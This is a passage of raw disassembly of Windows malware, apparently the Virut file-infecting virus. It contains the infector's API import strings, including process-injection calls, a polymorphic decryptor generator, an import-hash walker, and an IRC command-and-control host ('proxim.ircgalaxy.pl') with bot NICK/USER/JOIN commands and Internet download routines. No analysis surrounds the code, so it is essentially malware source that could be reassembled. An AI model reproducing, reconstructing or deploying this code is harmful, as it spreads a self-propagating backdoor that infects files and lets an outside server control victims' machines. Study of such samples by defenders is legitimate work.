		dd 58585800h, 29CE00h, 0D6500h,	3 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_437BF9	proc near		; CODE XREF: sub_437796+100p
					; sub_437796+218p ...
		push	ecx
		push	esi
		push	ebx
		call	dword ptr ss:sub_403548[ebp]
		stosd
		pop	ecx


loc_437C04:				; CODE XREF: sub_437BF9+Ej
		lodsb
		test	al, al
		jnz	short loc_437C04
		loop	sub_437BF9
		retn
sub_437BF9	endp

; ---------------------------------------------------------------------------
aBasenamedobjec	db '\BaseNamedObjects\W32_Virtu',0
aLstrlen	db 'lstrlen',0
aCreatefilea	db 'CreateFileA',0
aCreatefilemapp	db 'CreateFileMappingA',0
aCreateprocessa	db 'CreateProcessA',0
aCreateremoteth	db 'CreateRemoteThread',0
aCreatethread	db 'CreateThread',0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0
aExitthread	db 'ExitThread',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
aGetfileattribu	db 'GetFileAttributesA',0
aGetfilesize	db 'GetFileSize',0
aGetfiletime	db 'GetFileTime',0
aGetmodulehan_0	db 'GetModuleHandleA',0
aGettempfilenam	db 'GetTempFileNameA',0
aGettemppatha	db 'GetTempPathA',0
aGetversion_0	db 'GetVersion',0
aGetversionexa	db 'GetVersionExA',0
aLoadlibrarya	db 'LoadLibraryA',0
aMapviewoffile	db 'MapViewOfFile',0
aOpenfilemappin	db 'OpenFileMappingA',0
aOpenprocess	db 'OpenProcess',0
aProcess32first	db 'Process32First',0
aProcess32next	db 'Process32Next',0
aSetfileattribu	db 'SetFileAttributesA',0
aSetfiletime	db 'SetFileTime',0
aSleep		db 'Sleep',0
aSystemtimetofi	db 'SystemTimeToFileTime',0
aUnmapviewoffil	db 'UnmapViewOfFile',0
aVirtualalloc	db 'VirtualAlloc',0
aWritefile	db 'WriteFile',0
aNtadjustprivil	db 'NtAdjustPrivilegesToken',0
aNtcreatefile	db 'NtCreateFile',0
aNtcreateproces	db 'NtCreateProcess',0
aNtcreateproc_0	db 'NtCreateProcessEx',0
aNtcreatesectio	db 'NtCreateSection',0
aNtmapviewofsec	db 'NtMapViewOfSection',0
aNtopenfile	db 'NtOpenFile',0
aNtopenprocesst	db 'NtOpenProcessToken',0
aNtprotectvirtu	db 'NtProtectVirtualMemory',0
aNtwritevirtual	db 'NtWriteVirtualMemory',0
aRtlunicodestri	db 'RtlUnicodeStringToAnsiString',0
aWsastartup	db 'WSAStartup',0
aClosesocket	db 'closesocket',0
aConnect	db 'connect',0
aGethostbyname	db 'gethostbyname',0
aRecv		db 'recv',0
aSend		db 'send',0
aSocket		db 'socket',0
aInternetcloseh	db 'InternetCloseHandle',0
aInternetgetcon	db 'InternetGetConnectedState',0
aInternetopena	db 'InternetOpenA',0
aInternetopenur	db 'InternetOpenUrlA',0
aInternetreadfi	db 'InternetReadFile',0
aAdvapi32_dll	db 'ADVAPI32.DLL',0
aRegclosekey	db 'RegCloseKey',0
aRegopenkeyexa	db 'RegOpenKeyExA',0
aRegqueryvaluee	db 'RegQueryValueExA',0
aRegsetvalueexa	db 'RegSetValueExA',0

; =============== S U B	R O U T	I N E =======================================



sub_437F94	proc near		; CODE XREF: sub_437FCB+70p
					; sub_437FCB+81p ...

var_5		= byte ptr -5

		sub	ecx, 5
		sub	ecx, eax
		push	ecx
		push	0E8000000h
		lea	ecx, [esp+8+var_5]
		push	0
		push	5
		push	ecx
		push	eax
		push	ebx
		push	5
		mov	ecx, esp
		push	eax
		mov	edx, esp
		push	eax
		push	esp
		push	40h
		push	ecx
		push	edx
		push	ebx
		call	dword ptr [ebp+4035F0h]
		add	esp, 0Ch
		call	dword ptr [ebp+4035F4h]
		add	esp, 8
		retn
sub_437F94	endp


; =============== S U B	R O U T	I N E =======================================



sub_437FCB	proc near		; CODE XREF: .rsrc:00439A8Dp
		push	edi
		lea	eax, [ebp+4015B1h]
		xor	edi, edi
		push	eax
		push	0
		push	0Eh
		call	dword ptr [ebp+4035A4h]
		test	eax, eax
		jz	loc_438077
		push	eax
		push	69CEh
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	100000h
		push	2
		push	edx
		push	0
		push	69CEh
		push	0
		push	ecx
		push	ebx
		push	eax
		call	dword ptr [ebp+4035E4h]
		pop	edi
		pop	ecx
		call	dword ptr [ebp+40353Ch]
		test	edi, edi
		jz	short loc_438077
		mov	ecx, [ebp+401588h]
		jecxz	short loc_43802F
		lea	edx, sub_401000[ebp]
		add	edx, ecx
		push	edi
		push	ebx
		call	edx


loc_43802F:				; CODE XREF: sub_437FCB+56j
		mov	eax, dword ptr ss:loc_4035D4[ebp]
		lea	ecx, [edi+2394h]
		call	sub_437F94
		mov	eax, dword ptr ss:loc_4035E8[ebp]
		lea	ecx, [edi+23E1h]
		call	sub_437F94
		mov	eax, dword ptr ss:loc_4035D8[ebp]
		lea	ecx, [edi+23E8h]
		call	sub_437F94
		mov	eax, dword ptr ss:loc_4035DC[ebp]
		test	eax, eax
		jz	short loc_438077
		lea	ecx, [edi+23F5h]
		call	sub_437F94


loc_438077:				; CODE XREF: sub_437FCB+16j
					; sub_437FCB+4Ej ...
		mov	eax, edi
		pop	edi
		retn
sub_437FCB	endp

; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 401A14h
		xor	ecx, ecx
		lea	eax, loc_401DAE[ebp]
		push	ecx
		push	esp
		push	ecx
		push	ecx
		push	eax
		push	ecx
		push	ecx
		call	dword ptr ss:loc_40356C[ebp]
		xchg	eax, [esp]
		call	dword ptr [ebp+40353Ch]
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		dw 0E855h
		align 10h
		dd 43ED815Dh, 6A00401Ah, 0E958DFFh, 5000401Ah, 2420CD52h
		dd 83002A00h, 0C7660CC4h, 401A5485h, 0C720CD00h, 401A5685h
		dd 2A002400h, 6AC35D00h, 0FF016A01h, 473FF33h, 0C08515FFh
		dd 0B68F074h, 8B000000h, 50035BD0h, 72B58D3Ch, 8B00401Ah
		dd 10CBAh, 88A8B00h, 3000001h, 60CB2BF8h, 0A6F3CB8Bh, 47057461h
		dd 0C2EBF5E2h, 570FC783h, 8B53D48Bh, 6A5450CCh,	6A525140h
		dd 0F095FFFFh, 83004035h, 958B0CC4h, 403574h, 0EA83D72Bh
		dd 6A07C707h, 8900E800h, 6AC30357h, 9E8581Ah, 8D000000h
		dd 0FEAA6142h, 0C3F075C9h

; =============== S U B	R O U T	I N E =======================================



sub_43815C	proc near		; CODE XREF: sub_4389C7+1Bp
					; sub_438B3F+3p ...
		imul	edx, [ebp+403646h], 8088405h
		inc	edx
		mov	[ebp+403646h], edx
		mul	edx
		retn
sub_43815C	endp

; ---------------------------------------------------------------------------
		dd 0E855h, 815D0000h, 401B09EDh, 4A9D8B00h, 83004036h
		dd 8247Ch, 0B9840Fh, 0EC810000h, 208h, 1046854h, 95FF0000h
		dd 403590h, 848DFC8Bh, 10424h, 6A5000h,	4E8h, 54525600h
		dd 95FF5700h, 40358Ch, 978DC933h, 104h,	26A5151h, 68016A51h
		dd 40000000h, 5C95FF52h, 96004035h, 5B74F685h, 4685450h
		dd 57000001h, 2024B4FFh, 0FF000002h, 40362895h,	0C0855900h
		dd 14E31674h, 6AD48B50h, 57515200h, 0CC95FF56h,	59004035h
		dd 0D075C085h, 3C95FF56h, 8D004035h, 57524457h,	8D58446Ah
		dd 10497h, 0C033AB00h, 0F359106Ah, 505050ABh, 50505050h
		dd 6495FF52h, 81004035h, 208C4h, 2474FF00h, 1895FF08h
		dd 53004036h, 361895FFh, 0C25D0040h, 3E800004h,	4601750Ah
		dd 15848D8Bh, 19E30040h, 1000958Dh, 0D1030040h,	84D2FF56h
		dd 1F880FC0h, 0F000001h, 11084h, 3A3E8000h, 80461075h
		dd 840F003Eh, 101h, 75203E80h, 3E8146F1h, 474E4950h, 0CF8B4275h
		dd 4F0146C6h, 6A51CE2Bh, 53565100h, 361095FFh, 3B590040h
		dd 0DF850FC1h, 8D000000h, 401DA285h, 68006A00h,	0Ch, 95FF5350h
		dd 403610h, 0C3Dh, 0BF850F00h, 0E9000000h, 0B1h, 52503E81h
		dd 850F5649h, 0A5h, 0AC08C683h,	840F0D3Ch, 99h,	0F375203Ch
		dd 0F3A3CACh, 8C85h, 200DAD00h,	3D202020h, 74656721h, 3CAC7F75h
		dd 817C7520h, 6820FF7Eh, 71757474h, 70037E81h, 752F2F3Ah
		dd 0FF47C668h, 0BA310F00h, 2710h, 0FF52E2F7h, 4035BC95h
		dd 50C03300h, 0E8505050h, 9, 6E776F44h,	64616F6Ch, 2095FF00h
		dd 85004036h, 333674C0h, 4A8589C9h, 51004036h, 20068h
		dd 56515180h, 2495FF50h, 8D004036h, 401B0395h, 0C9335000h
		dd 52505154h, 95FF5151h, 40356Ch, 0FF240487h, 40353C95h
		dd 80C3F800h, 4015778Dh, 0C3F90100h
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer',0
aTargethost	db 'TargetHost',0
		dw 2
		db 0FFh
		db 0F0h, 55h, 72h
aPProxim_ircgal	db 'proxim.ircgalaxy.pl',0
aNickHihrhbgmUs	db 'NICK hihrhbgm',0Ah
		db 'USER h020501 . . :-JOIN &virtu',0Ah
		db 'U',0
		align 10h
		dd 0ED815D00h, 401DB4h,	157785C6h, 0FF000040h, 40359495h
		dd 1FE8C100h, 1E6A3C74h, 3550B58Bh, 0AC590040h,	2A752E3Ch
		dd 0FF3E8166h, 8D23751Dh, 403640BDh, 2768B00h, 0A566A557h
		dd 336A858Dh, 858F0040h, 403390h, 0FA4689FAh, 0FBFE4E8Ch
		dd 0CFE201B1h, 858D43EBh, 4015B1h, 6A006A50h, 0A495FF0Eh
		dd 83004035h, 408247Ch,	4E82B75h, 53000000h, 0FF004346h
		dd 40358895h, 0FC48E800h, 7E8FFFFh, 53000000h, 4F5F4346h
		dd 95FF0053h, 403588h, 0FFFC31E8h, 0F356E8FFh, 8DFFFFFFh
		dd 401303h, 0BE8h, 45535500h, 2E323352h, 4C4C44h, 359C95FFh
		dd 0AE80040h, 77000000h, 69727073h, 4166746Eh, 95FF5000h
		dd 403548h, 35548589h, 310F0040h, 18E08D8Dh, 85890040h
		dd 403646h, 9C95FF51h, 93004035h, 468h,	0EDB58D00h, 59004018h
		dd 362CBD8Dh, 0D6E80040h, 66FFFFF6h, 1D6785C7h,	0F0FF0040h
		dd 1D69A583h, 8D000040h, 401D2795h, 6A545000h, 52006A01h
		dd 268h, 3095FF80h, 85004036h, 22755AC0h, 1D5A8D8Dh, 6A520040h
		dd 67B58D06h, 5400401Dh, 51505056h, 3495FF52h, 58004036h
		dd 362C95FFh, 85C60040h, 40384Dh, 0CE800h, 53570000h, 334B434Fh
		dd 4C442E32h, 95FF004Ch, 40359Ch, 76893h, 0B58D0000h, 401844h
		dd 0FCBD8D59h, 0E8004035h, 0FFFFF651h, 0CE8h, 4E495700h
		dd 54454E49h, 4C4C442Eh, 9C95FF00h, 85004035h, 0E7840FC0h
		dd 93000001h, 568h, 82B58D00h, 59004018h, 3618BD8Dh, 1AE80040h
		dd 83FFFFF6h, 40361CBDh, 840F0000h, 1C2h, 190EC81h, 68540000h
		dd 101h, 35FC95FFh, 0C4810040h,	190h, 6AD48B50h, 95FF5200h
		dd 40361Ch, 7559C085h, 1388680Dh, 95FF0000h, 4035BCh, 0BD83E2EBh
		dd 401D69h, 8D297500h, 401D6D85h, 95FF5000h, 403608h, 840FC085h
		dd 13Bh, 8B0C408Bh, 8F30FF00h, 401D6985h, 4D85C600h, 1004038h
		dd 16A006Ah, 95FF026Ah,	403614h, 0FFFF883h, 11284h, 958D9300h
		dd 401D65h, 5352106Ah, 360495FFh, 0C0850040h, 0F2850Fh
		dd 0BD8D0000h, 401D86h,	0BCE808B1h, 68FFFFFAh, 94h, 89E62B5Eh
		dd 0FF542434h, 40359895h, 94BD8D00h, 0B100401Dh, 0FA9DE801h
		dd 448BFFFFh, 0E0C11024h, 24440B08h, 8E0C104h, 824440Bh
		dd 5E850h, 2E250000h, 57007836h, 355495FFh, 0C4830040h
		dd 647C60Ch, 81958D20h,	6A00401Dh, 216800h, 53520000h
		dd 361095FFh, 7C8D0040h, 0FF571424h, 40355895h,	3804C600h
		dd 6A400Ah, 0FF535750h,	40361095h, 8DE60300h, 401DA2BDh
		dd 68006A00h, 0Ch, 95FF5357h, 403610h, 0C3Dh, 8D4D7500h
		dd 40364EB5h, 4D8D8D00h, 2B004038h, 51006ACEh, 95FF5356h
		dd 40360Ch, 7E00F883h, 0FE8B912Fh, 364EB58Dh, 0DB00040h
		dd 1075AEF2h, 0FAF8E860h, 7261FFFFh, 8D09E317h,	0EAEB0177h
		dd 0CE2BCF8Bh, 364EBD8Dh, 0A4F30040h, 0B9EBF787h, 95FF53h
		dd 80004036h, 401577BDh, 2A740100h, 753068h, 0BC95FF00h
		dd 80004035h, 40384DBDh, 11740000h, 1D6985C7h, 40h, 85C60000h
		dd 40384Dh, 0FE56E900h,	85C7FFFFh, 401580h, 80000000h
		dd 4C25Dh, 204F0A0Dh, 6E6F6F6Eh, 20666F20h, 6566696Ch
		dd 204F2021h, 656D6974h, 206F7420h, 656C6563h, 74617262h
		dd 0A0D2165h, 20202020h, 73204F20h, 656D6D75h, 61672072h
		dd 6E656472h, 520A0D21h, 6E656C65h, 73656C74h, 20796C73h
		dd 70706168h, 6E612079h, 78652064h, 74636570h, 2C746E61h
		dd 61747320h, 6E69646Eh, 2D203A67h, 61570A0Dh, 69686374h
		dd 6120676Eh, 64206C6Ch, 61207961h, 6E20646Eh, 74686769h
		dd 6F66202Ch, 72662072h, 646E6569h, 20492073h, 74696177h
		dd 570A0D3Ah, 65726568h, 65726120h, 756F7920h, 7266202Ch
		dd 646E6569h, 43203F73h, 21656D6Fh, 20744920h, 74207369h
		dd 21656D69h, 27744920h, 616C2073h, 0D216574h, 99AD470Ah
		dd 37524862h, 0C7840440h, 0A6142930h, 0AF69DF10h, 0D479ED53h
		dd 0B7AB44Fh, 0FADA2305h, 0AB5957A5h, 0B1FAE53Ah, 0AD097327h
		dd 0A2A1A8D8h, 858B994Ch, 0A61413DBh, 6EF96A10h, 6CCC5C60h
		dd 0F2B397C2h, 80CE2243h, 73C17E69h, 0B8B3521Ah, 0F2086DD8h
		dd 10h,	0Ah dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_438911	proc near		; CODE XREF: sub_438958:loc_4389B5p
					; sub_438A18+7p ...

arg_0		= dword	ptr  4

		pusha
		and	ss:dword_4039A6[ebp], 0
		and	dword ptr ss:word_4039AA[ebp], 0
		movzx	eax, word ptr [ebx+14h]
		lea	edx, [ebx+18h]
		movzx	ecx, word ptr [ebx+6]
		add	edx, eax


loc_43892D:				; CODE XREF: sub_438911+41j
		mov	eax, [esp+20h+arg_0]
		sub	eax, [edx+0Ch]
		jb	short loc_43894F
		cmp	eax, [edx+8]
		jnb	short loc_43894F
		mov	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	ss:dword_4039A6[ebp], edx
		mov	dword ptr ss:word_4039AA[ebp], eax
		jmp	short loc_438954
; ---------------------------------------------------------------------------


loc_43894F:				; CODE XREF: sub_438911+23j
					; sub_438911+28j
		add	edx, 28h
		loop	loc_43892D


loc_438954:				; CODE XREF: sub_438911+3Cj
		popa
		retn	4
sub_438911	endp


; =============== S U B	R O U T	I N E =======================================



sub_438958	proc near		; CODE XREF: .rsrc:00438C84p
					; .rsrc:00438CAAp
		mov	[ebp+4022F7h], al
		call	sub_4389C7
		push	20h
		lea	eax, [ebp+402224h]
		pop	ecx


loc_43896F:				; CODE XREF: sub_438958+1Ej
		cmp	[eax], ebx
		jz	short loc_43897F
		add	eax, 4
		loop	loc_43896F
		inc	dword ptr [ebp+40398Eh]
		retn
; ---------------------------------------------------------------------------


loc_43897F:				; CODE XREF: sub_438958+19j
		neg	ecx
		add	ecx, [ebp+4022F7h]
		jecxz	short loc_438999


loc_438989:				; CODE XREF: sub_438958+39j
		push	dword ptr [eax-4]
		pop	dword ptr [eax]
		sub	eax, 4
		loop	loc_438989
		mov	[ebp+402224h], ebx


loc_438999:				; CODE XREF: sub_438958+2Fj
					; sub_4389C7+34j
		cmp	dword ptr [edx], 0
		jz	short loc_4389A3
		sub	esi, [edx]
		add	esi, [edx+10h]


loc_4389A3:				; CODE XREF: sub_438958+44j
		lea	ecx, [esi-4]
		pop	eax
		pop	ebx
		pop	esi
		cmp	dword ptr [edx], 0
		jz	short loc_4389B2
		push	dword ptr [edx]
		jmp	short loc_4389B5
; ---------------------------------------------------------------------------


loc_4389B2:				; CODE XREF: sub_438958+54j
		push	dword ptr [edx+10h]


loc_4389B5:				; CODE XREF: sub_438958+58j
		call	sub_438911
		sub	ecx, esi
		sub	ecx, dword ptr ss:word_4039AA[ebp]
		pop	eax
		add	ecx, [ebx+34h]
		retn
sub_438958	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4389C7	proc near		; CODE XREF: sub_438958+6p
		pop	dword ptr ss:loc_403992[ebp]
		mov	dword ptr [ebp+40398Eh], 0
		call	sub_438A18
		mov	eax, [ebp+40398Eh]
		call	sub_43815C
		call	sub_438A04
		cmp	dword ptr [ebp+40398Eh], 0
		jnz	short loc_4389FD
		mov	[ebp+4022A0h], ebx
		jmp	short loc_438999
; ---------------------------------------------------------------------------


loc_4389FD:				; CODE XREF: sub_4389C7+2Cj
		dec	dword ptr [ebp+40398Eh]
		retn
sub_4389C7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_438A04	proc near		; CODE XREF: sub_4389C7+20p
		pop	dword ptr ss:loc_403992[ebp]
		mov	[ebp+40398Eh], edx
		call	sub_438A18
		xor	ecx, ecx
		retn
sub_438A04	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_438A18	proc near		; CODE XREF: sub_4389C7+10p
					; sub_438A04+Cp ...

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	edx, [ebx+80h]
		push	edx
		call	sub_438911
		add	edx, dword ptr ss:word_4039AA[ebp]
		add	edx, esi


loc_438A2C:				; CODE XREF: sub_438A18+120j
		cmp	dword ptr [edx+0Ch], 0
		jz	locret_438B3D
		cmp	dword ptr [edx+10h], 0
		jz	locret_438B3D
		mov	eax, [edx+0Ch]
		push	eax
		call	sub_438911
		add	eax, dword ptr ss:word_4039AA[ebp]
		add	eax, esi
		push	eax


loc_438A52:				; CODE XREF: sub_438A18+47j
		mov	cl, [eax]
		cmp	cl, 0
		jz	short loc_438A72
		cmp	cl, 2Eh
		jz	short loc_438A61


loc_438A5E:				; CODE XREF: sub_438A18+58j
		inc	eax
		jmp	short loc_438A52
; ---------------------------------------------------------------------------


loc_438A61:				; CODE XREF: sub_438A18+44j
		mov	ecx, [eax+1]
		and	ecx, 0DFDFDFDFh
		cmp	ecx, 4C4C44h
		jnz	short loc_438A5E


loc_438A72:				; CODE XREF: sub_438A18+3Fj
		pop	ecx
		sub	ecx, eax
		cmp	ecx, 0FFFFFFFAh
		jg	loc_438B35
		cmp	word ptr [eax-2], 3233h
		jnz	loc_438B35
		push	esi
		cmp	dword ptr [edx], 0
		jnz	short loc_438A95
		mov	ecx, [edx+10h]
		jmp	short loc_438A97
; ---------------------------------------------------------------------------


loc_438A95:				; CODE XREF: sub_438A18+76j
		mov	ecx, [edx]


loc_438A97:				; CODE XREF: sub_438A18+7Bj
		add	esi, ecx
		push	ecx
		call	sub_438911
		add	esi, dword ptr ss:word_4039AA[ebp]


loc_438AA5:				; CODE XREF: sub_438A18+90j
					; sub_438A18+117j
		lodsd
		test	eax, eax
		js	short loc_438AA5
		jz	loc_438B34
		push	dword ptr ss:word_4039AA[ebp]
		push	eax
		call	sub_438911
		add	eax, dword ptr ss:word_4039AA[ebp]
		pop	dword ptr ss:word_4039AA[ebp]
		add	eax, [esp+4+var_4]
		push	ebx
		add	eax, 2
		xor	ebx, ebx


loc_438AD1:				; CODE XREF: sub_438A18+CEj
		movzx	ecx, byte ptr [eax]
		jecxz	short loc_438AE8
		or	cl, 20h
		push	ebx
		shl	[esp+0Ch+var_C], 4
		sub	[esp+0Ch+var_C], ebx
		sub	[esp+0Ch+var_C], ecx
		pop	ebx
		inc	eax
		jmp	short loc_438AD1
; ---------------------------------------------------------------------------


loc_438AE8:				; CODE XREF: sub_438A18+BCj
		cmp	ebx, 0DDBBD70Fh
		jz	short loc_438B2E
		cmp	ebx, 0DB6E45A8h
		jz	short loc_438B2E
		cmp	ebx, 0FFA13B59h
		jz	short loc_438B2E
		cmp	ebx, 0ACB522D6h
		jz	short loc_438B2E
		cmp	ebx, 0F358E993h
		jz	short loc_438B2E
		cmp	ebx, 0F358E97Dh
		jz	short loc_438B2E
		cmp	ebx, 0E1253F46h
		jz	short loc_438B2E
		cmp	ebx, 0E1253F30h
		jz	short loc_438B2E
		call	dword ptr ss:loc_403992[ebp]


loc_438B2E:				; CODE XREF: sub_438A18+D6j
					; sub_438A18+DEj ...
		pop	ebx
		jmp	loc_438AA5
; ---------------------------------------------------------------------------


loc_438B34:				; CODE XREF: sub_438A18+92j
		pop	esi


loc_438B35:				; CODE XREF: sub_438A18+60j
					; sub_438A18+6Cj
		add	edx, 14h
		jmp	loc_438A2C
; ---------------------------------------------------------------------------

locret_438B3D:				; CODE XREF: sub_438A18+18j
					; sub_438A18+22j
		retn
sub_438A18	endp

; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_438B3F	proc near		; CODE XREF: .rsrc:00438C7Dp
					; .rsrc:00438CA3p
		push	4
		pop	eax
		call	sub_43815C
		mov	[ebp+4024D1h], dl
		mov	ax, 1831h
		add	ah, dl
		shl	ah, 3
		add	ah, dl
		stosw
		push	6
		pop	eax
		call	sub_43815C
		add	edx, 8
		xchg	edx, ecx


loc_438B67:				; CODE XREF: sub_438B3F:loc_438BA6j
		push	5
		pop	eax
		call	sub_43815C
		cmp	dl, 3
		jnb	short loc_438B7F
		mov	al, 50h
		add	al, [ebp+4024D1h]
		stosb
		jmp	short loc_438BA6
; ---------------------------------------------------------------------------


loc_438B7F:				; CODE XREF: sub_438B3F+33j
		push	68h
		pop	eax
		stosb
		cmp	dl, 3
		jnz	short loc_438BA0
		mov	al, 11h
		call	sub_43815C
		mov	eax, 1


loc_438B94:				; CODE XREF: sub_438B3F+5Dj
		test	dl, dl
		jz	short loc_438BA5
		shl	eax, 1
		dec	dl
		jmp	short loc_438B94
; ---------------------------------------------------------------------------
		jmp	short loc_438BA5
; ---------------------------------------------------------------------------


loc_438BA0:				; CODE XREF: sub_438B3F+47j
		mov	eax, 80000000h


loc_438BA5:				; CODE XREF: sub_438B3F+57j
					; sub_438B3F+5Fj
		stosd


loc_438BA6:				; CODE XREF: sub_438B3F+3Ej
		loop	loc_438B67
		retn
sub_438B3F	endp

; ---------------------------------------------------------------------------


loc_438BA9:				; CODE XREF: sub_439603+112p
		lea	edi, locret_40343C[ebp]
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_438BBE
		mov	al, 60h
		stosb


loc_438BBE:				; CODE XREF: .rsrc:00438BB9j
		test	dword ptr [ebp+403431h], 1000003h
		jz	loc_438CC4
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	near ptr 0BDCD3782h
		xchg	eax, esi
		cmp	[eax+0], eax
		mov	al, 0E8h
		stosb
		stosd
		test	dword ptr [ebp+403431h], 1000000h
		mov	[ebp+40399Ah], edi
		jz	short loc_438C3C
		test	dword ptr [ebp+403431h], 2000000h
		mov	eax, 36FF6467h
		jnz	short loc_438C07
		mov	eax, 2E8B6467h


loc_438C07:				; CODE XREF: .rsrc:00438C00j
		stosd
		mov	ax, 0
		stosw
		jz	short loc_438C13
		mov	al, 5Dh
		stosb


loc_438C13:				; CODE XREF: .rsrc:00438C0Ej
		test	dword ptr [ebp+403431h], 8000000h
		mov	eax, 86D8Dh
		jnz	short loc_438C3A
		test	dword ptr [ebp+403431h], 4000000h
		mov	eax, 8C583h
		jz	short loc_438C3A
		mov	eax, 0F8ED83h


loc_438C3A:				; CODE XREF: .rsrc:00438C22j
					; .rsrc:00438C33j
		stosd
		dec	edi


loc_438C3C:				; CODE XREF: .rsrc:00438BEFj
		test	dword ptr [ebp+403431h], 3
		jz	short loc_438C4C
		mov	al, 0E9h
		stosb
		stosd


loc_438C4C:				; CODE XREF: .rsrc:00438C46j
		mov	eax, dword ptr ss:loc_403996[ebp]
		mov	ecx, edi
		sub	ecx, eax
		mov	[eax-4], ecx
		test	dword ptr [ebp+403431h], 3
		jz	short loc_438CC4
		mov	eax, 36FF6467h
		mov	dword ptr ss:loc_40399E[ebp], edi
		stosd
		mov	eax, 64670000h
		stosd
		mov	eax, 2689h
		stosd
		call	sub_438B3F
		mov	al, 20h
		call	sub_438958
		jecxz	short loc_438CC4
		mov	ax, 15FFh
		stosw
		xchg	eax, ecx
		stosd
		mov	edx, [ebp+403431h]
		not	edx
		test	edx, 3
		jnz	short loc_438CB7
		call	sub_438B3F
		mov	al, 1Fh
		call	sub_438958
		mov	ax, 15FFh
		stosw
		xchg	eax, ecx
		stosd


loc_438CB7:				; CODE XREF: .rsrc:00438CA1j
		mov	ecx, edi
		mov	eax, dword ptr ss:loc_40399E[ebp]
		sub	ecx, eax
		mov	[eax-4], ecx


loc_438CC4:				; CODE XREF: .rsrc:00438BC8j
					; .rsrc:00438C63j ...
		test	dword ptr [ebp+403431h], 4
		jz	short loc_438CE2
		mov	eax, 0C8FEC029h
		stosd
		mov	eax, 474C008h
		stosd
		mov	eax, 67EBF875h
		stosd


loc_438CE2:				; CODE XREF: .rsrc:00438CCEj
		test	dword ptr [ebp+403431h], 8
		jnz	short loc_438D38
		cmp	byte ptr [ebp+40342Fh],	0
		jz	short loc_438D38
		mov	eax, 0C9291829h
		or	ah, [ebp+40342Bh]
		shl	ah, 3
		or	ah, [ebp+40342Bh]
		stosd
		mov	al, 0B1h
		stosb
		mov	al, [ebp+40342Fh]
		stosb
		mov	al, 40h
		or	al, [ebp+40342Bh]
		stosb
		mov	ax, 0FDE2h
		test	dword ptr [ebp+403431h], 10h
		jz	short loc_438D36
		mov	al, 49h
		stosb
		mov	ax, 0FC75h


loc_438D36:				; CODE XREF: .rsrc:00438D2Dj
		stosw


loc_438D38:				; CODE XREF: .rsrc:00438CECj
					; .rsrc:00438CF5j
		mov	al, 0E8h
		stosb
		xor	eax, eax
		stosd
		mov	[ebp+403982h], edi
		test	dword ptr [ebp+403431h], 20h
		jnz	short loc_438D59
		mov	al, 58h
		or	al, byte ptr ss:loc_403429[ebp]
		stosb


loc_438D59:				; CODE XREF: .rsrc:00438D4Ej
		mov	ax, 0C081h
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_438D6C
		add	ah, 28h


loc_438D6C:				; CODE XREF: .rsrc:00438D67j
		or	ah, byte ptr ss:loc_403429[ebp]
		stosw
		mov	[ebp+403986h], edi
		stosd
		test	dword ptr [ebp+403431h], 40000000h
		jnz	short loc_438D90
		mov	al, 50h
		add	al, byte ptr ss:loc_403429[ebp]
		stosb


loc_438D90:				; CODE XREF: .rsrc:00438D85j
		test	dword ptr [ebp+403431h], 80h
		jnz	short loc_438DA7
		mov	al, 0B8h
		or	al, [ebp+40342Ah]
		stosb
		jmp	short loc_438DE4
; ---------------------------------------------------------------------------


loc_438DA7:				; CODE XREF: .rsrc:00438D9Aj
		mov	ax, 1831h
		test	dword ptr [ebp+403431h], 100h
		jz	short loc_438DB9
		mov	al, 29h


loc_438DB9:				; CODE XREF: .rsrc:00438DB5j
		or	ah, [ebp+40342Ah]
		shl	ah, 3
		or	ah, [ebp+40342Ah]
		stosw
		mov	ax, 0F081h
		test	dword ptr [ebp+403431h], 200h
		jnz	short loc_438DDC
		mov	ah, 0C8h


loc_438DDC:				; CODE XREF: .rsrc:00438DD8j
		or	ah, [ebp+40342Ah]
		stosw


loc_438DE4:				; CODE XREF: .rsrc:00438DA5j
		mov	dword ptr ss:loc_4039A2[ebp], edi
		mov	eax, 243Ch
		stosd
		test	dword ptr [ebp+403431h], 8
		jz	short loc_438E68
		test	dword ptr [ebp+403431h], 400h
		jnz	short loc_438E13
		mov	al, 0B8h
		or	al, [ebp+40342Bh]
		stosb
		jmp	short loc_438E60
; ---------------------------------------------------------------------------


loc_438E13:				; CODE XREF: .rsrc:00438E06j
		test	dword ptr [ebp+403431h], 800h
		jnz	short loc_438E30
		mov	ax, 0E083h
		or	ah, [ebp+40342Bh]
		stosw
		xor	eax, eax
		stosb
		jmp	short loc_438E45
; ---------------------------------------------------------------------------


loc_438E30:				; CODE XREF: .rsrc:00438E1Dj
		mov	ax, 1829h
		or	ah, [ebp+40342Bh]
		shl	ah, 3
		or	ah, [ebp+40342Bh]
		stosw


loc_438E45:				; CODE XREF: .rsrc:00438E2Ej
		test	dword ptr [ebp+403431h], 1000h
		mov	ax, 0C081h
		jz	short loc_438E58
		add	ah, 8


loc_438E58:				; CODE XREF: .rsrc:00438E53j
		or	ah, [ebp+40342Bh]
		stosw


loc_438E60:				; CODE XREF: .rsrc:00438E11j
		movzx	eax, byte ptr [ebp+40342Fh]
		stosd


loc_438E68:				; CODE XREF: .rsrc:00438DFAj
		test	dword ptr [ebp+403431h], 40000000h
		jz	short loc_438E7D
		mov	al, 50h
		add	al, byte ptr ss:loc_403429[ebp]
		stosb


loc_438E7D:				; CODE XREF: .rsrc:00438E72j
		test	dword ptr [ebp+403431h], 2000h
		mov	al, 86h
		jnz	short loc_438E8D
		add	al, 4


loc_438E8D:				; CODE XREF: .rsrc:00438E89j
